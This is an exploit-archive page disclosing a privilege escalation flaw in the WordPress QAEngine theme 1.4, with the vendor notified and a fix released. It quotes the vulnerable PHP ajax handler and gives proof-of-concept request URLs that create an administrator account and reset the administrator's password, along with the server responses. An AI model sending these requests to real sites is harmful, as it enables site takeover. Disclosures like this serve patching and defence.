exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress QAEngine Theme 1.4 Privilege Escalation

WordPress QAEngine Theme 1.4 Privilege Escalation
Posted Apr 24, 2015
Authored by Evex

WordPress QAEngine Theme version 1.4 suffers from a privilege escalation vulnerability.

tags | exploit
SHA-256 | 83976326087c31c7102e2646fc3829eb8a1f6ff16ade8fae6f4bec7ea6e1d799

WordPress QAEngine Theme 1.4 Privilege Escalation

Change Mirror Download
[-] Theme Link:

https://www.enginethemes.com/themes/qaengine/

[-] Vulnerability Description:

[+] 1st Vulnerability:

qaengine vulnerability allows an attacker to have an administrator account
on the target's website
vuln code in /qaengine/includes/aecore/class-ae-users.php:

public function insert( $user_data ){
if( !$user_data['user_login'] || !preg_match('/^[a-z\d_]{2,20}$/i',
$user_data['user_login']) ) {
return new WP_Error( 'username_invalid', __("Username only
lowercase letters (a-z) and numbers are allowed.", ET_DOMAIN) );
}
/**
* insert user by wp_insert_user
*/
$result = wp_insert_user( $user_data ); ....

its inserting a new user using user input ( $user_data )
the function is being accessed from the sync function

public function sync($request) {
extract( $request );
unset($request['method']);
switch ( $method ) {
case 'create':
$result = $this->insert( $request );
break;
case 'update':
$result = $this->update( $request );
break;
case 'remove':
$result = $this->delete( $request['ID'] );
break;
case 'read':
$result = $this->get( $request['ID'] );
break;
default :
return new WP_Error('invalid_method', __("Invalid method",
ET_DOMAIN) );
}
return $result;
}

and the sync function can be accessed through ajax
$this->add_ajax('ae-sync-user', 'sync');

and since there is no third parameter in add_ajax setting 'nopriv' to true
this can be accessed only by registered users

public function add_ajax($hook, $callback, $priv = true, $no_priv = true,
$priority = 10, $accepted_args = 1 ){
if ( $priv )
$this->add_action( self::AJAX_PREFIX . $hook, $callback,
$priority, $accepted_args );
if ( $no_priv )
$this->add_action( self::AJAX_NOPRIV_PREFIX . $hook, $callback,
$priority, $accepted_args );
}

Proof of Concept:

accessing this by a registered user will insert a new user with username
(xADMIN) and password (xPASS) and an administrator role

localhost/wp/wp-admin/admin-ajax.php?action=ae-sync-user&method=create&user_login=xADMIN&user_pass=xPASS&role=administrator

response:

{"success":true,"data":{"action":"ae-sync-user","user_login":"xADMIN","user_pass":"xPASS","role":"administrator","ID":5},"msg":"Update
user successful!"}

[+] 2nd Vunerability:

and another vulnerability in update function
public function update( $user_data ){
....
$result = wp_update_user( $user_data );
...
}

this will allow the attacker to update any user(including administrator)
information like password,email,etc...

Proof of Concept:

the id parameter is the id of the user to be modified (usually 1 will be
the administrator)
localhost/wp/wp-admin/admin-ajax.php?action=ae-sync-user&method=update&ID=1&user_pass=ANOTHERPASSWORD

Response:

{"success":true,"data":{"ID":"1","user_login":"admin","user_nicename":"admin","user_email":
...


[-] Timeline:

22 March - Vendor Notified
23 March - Vendor Replied & Fix Released
07 April - Public Disclosure
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close